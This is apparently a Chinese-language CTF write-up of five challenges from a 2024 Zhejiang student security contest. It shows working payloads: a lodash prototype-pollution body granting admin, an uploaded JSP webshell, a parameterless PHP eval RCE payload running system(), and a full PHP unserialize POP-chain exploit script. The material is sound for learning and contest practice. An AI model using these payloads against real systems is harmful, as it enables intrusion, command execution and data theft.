网安知识大挑战
题目描述:欢迎来到2024年浙江省大学生网安竞赛,下面是一个签到题,答题正确或者其他方法即可获取flag,flag格式为 DASCTF{xxx},提交flag时只需要提交括号内的内容。
开题,是是个选择题。
估计是前端的,源码中找到了答案但是提交不对。。。。。。。
应该是需要另辟蹊径,源码中找到了flag解密逻辑,AES CBC。但是写脚本没解出来悲
继续看,找到了输出flag的条件
十个题目全部答完后,打上断点,点击提交
控制台修改变量e为true
之后结束调试就行了
easyjs
题目描述:一个简单的笔记应用,只有管理员能查看flag
const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();
app.use(express.json());
// 存储笔记的对象
const notes = {};
// 创建新笔记
app.post('/api/notes', (req, res) => {
const noteId = req.body.id;
const noteData = req.body;
if (!noteId) {
return res.status(400).json({ error: 'Missing id' });
}
// 使用lodash.merge,该版本存在原型链污染漏洞
notes[noteId] = {};
_.merge(notes[noteId], noteData);
console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
console.log('Note properties:', notes[noteId]);
res.json(notes[noteId]);
});
// 获取笔记
app.get('/api/notes/:id', (req, res) => {
const noteId = req.params.id;
if (!notes[noteId]) {
return res.status(404).json({ error: 'Note not found' });
}
res.json(notes[noteId]);
});
// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
const noteId = req.headers['note-id'];
if (!noteId || !notes[noteId]) {
return res.status(403).json({ error: 'Authentication required' });
}
if (!notes[noteId].isAdmin) {
return res.status(403).json({ error: 'Admin access required' });
}
try {
const flag = fs.readFileSync('/flag', 'utf8');
res.json({ flag: flag.trim() });
} catch (err) {
res.status(500).json({ error: 'Error reading flag' });
}
});
app.listen(8000, () => {
console.log('Server running on port 8000');
});
附件给的源码已经写明了是原型链污染。
第一步污染。
先看如何能获得flag:if (!notes[noteId].isAdmin)
、notes[noteId] = {};
在/api/notes
路由进行非常简单的js污染就行:
{"id":111,"constructor":{"prototype": {"isAdmin": true}}}
第二步拿flag。
在/api/flag
路由拿,记得带上HTTP头note-id
。
hack memory
题目描述:有内存马注入,需要书写扫描内存的代码上传执行
做完发现根本不用内存吗,最简单的jsp木马就行上线。
开题
看一下前端源码,有两个路由/hidden_step
和/deleteFile
。
路由/deleteFile
无法访问,路由/hidden_step
自动执行了当前目录下的memshell.jsp
,但是没有这个文件。
扫描后台得到路由/upload
路由/upload
可以上传文件
文件被上传到了/uploads/
目录下。没找到目录穿越上传的办法。
但是上传的jsp文件能直接访问并且被解析
所以根本不用内存马,也不用造目录穿越上传文件,更加不用使用路由/hidden_step
哥斯拉生成jsp木马直接上线,getshell
wucanrce
题目描述:PHP RCE
开题,直接给了源码:
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))
{
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
@eval($_GET['code']);
}
}
else{
die("不让用session欧,readfile也不行");
}
}
?>
flag在上层目录。一眼无参数RCE
过滤了session_id
和readfile
,可以说毫无影响。
翻下笔记,之前训练的payload能直接用:
?c=print_r(get_defined_vars());//若POST数组为空,则需要POST传入参数为1=system('tac fl*');
?c=eval(array_pop(next(get_defined_vars())));//若POST数组为空,则需要POST传入参数为1=system('tac fl*');
payload:
GET:?code=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac ../f*');
unserialize
题目描述:PHP Unserialize【端口为70】
开题直接给了源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
public $aear;
public $string;
public function __construct($a){
$this -> aear = $a;
}
function __destruct()
{
echo $this -> aear;
}
public function __toString()
{
$new = $this -> string;
return $new();
}
}
class BBB {
private $pop;
public function __construct($string) {
$this -> pop = $string;
}
public function __get($value) {
$var = $this -> $value;
$var[$value]();
}
}
class DDD{
public $bag;
public $magazine;
public function __toString()
{
$length = @$this -> bag -> add();
return $length;
}
public function __set($arg1,$arg2)
{
if($this -> magazine -> tower)
{
echo "really??";
}
}
}
class EEE{
public $d=array();
public $e;
public $f;
public function __get($arg1){
$this->d[$this->e]=1;
if ($this->d[]=1){
echo 'nononononnnn!!!';
}
else{
eval($this->f);
}
}
}
class FFF{
protected $cookie;
protected function delete() {
return $this -> cookie;
}
public function __call($func, $args) {
echo 'hahahhhh';
call_user_func([$this, $func."haha"], $args);
}
}
class GGG{
public $green;
public $book;
public function __invoke(){
if(md5(md5($this -> book)) == 666) {
return $this -> green -> pen;
}
}
}
if(isset($_POST['UP'])) {
unserialize($_POST['UP']);
}
逆序分析一下,终点可能是FFF::__call($func, $args)
或者EEE::__get($arg1)
。进一步分析之下选择后者
POP链子:
AAA::__destruct()->AAA::__toString()->GGG::__invoke()->EEE::__get($arg1)
这里有两个特性需要用到,第一个双md5爆破,php环境7.3,结果是213,脚本如下:
<?php
$i=0;
while(true){
$i++;
if(md5(md5($i))==666){
die($i);
}else{
echo $i."\n";
echo md5(md5($i))."\n";
}
}
第二个是int64整数溢出,溢出多了会截断,一般CTF溢出一点点就够了。
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
POC如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
public $aear;
public $string;
function __destruct()
{
echo $this -> aear;
}
public function __toString()
{
$new = $this -> string;
return $new();
}
}
class BBB {
private $pop;
public function __construct($string) {
$this -> pop = $string;
}
public function __get($value) {
$var = $this -> $value;
$var[$value]();
}
}
class DDD{
public $bag;
public $magazine;
public function __toString()
{
$length = @$this -> bag -> add();
return $length;
}
public function __set($arg1,$arg2)
{
if($this -> magazine -> tower)
{
echo "really??";
}
}
}
class EEE{
public $d=array();
public $e;
public $f;
public function __get($arg1){
$this->d[$this->e]=1;
if ($this->d[]=1){
echo 'nononononnnn!!!';
}
else{
eval($this->f);
}
}
}
class FFF{
protected $cookie;
protected function delete() {
return $this -> cookie;
}
public function __call($func, $args) {
echo 'hahahhhh';
call_user_func([$this, $func."haha"], $args);
}
}
class GGG{
public $green;
public $book;
public function __invoke(){
if(md5(md5($this -> book)) == 666) {
return $this -> green -> pen;
}
}
}
//AAA::__destruct()->AAA::__toString()->GGG::__invoke()->EEE::__get($arg1)
$Jay17=new AAA();
$Jay17->aear=new AAA();
$Jay17->aear->string=new GGG();
$Jay17->aear->string->book=213;
$Jay17->aear->string->green=new EEE();
$Jay17->aear->string->green->e=9223372036854775807;
$Jay17->aear->string->green->f="system('cat /f*');";
echo urlencode(serialize($Jay17));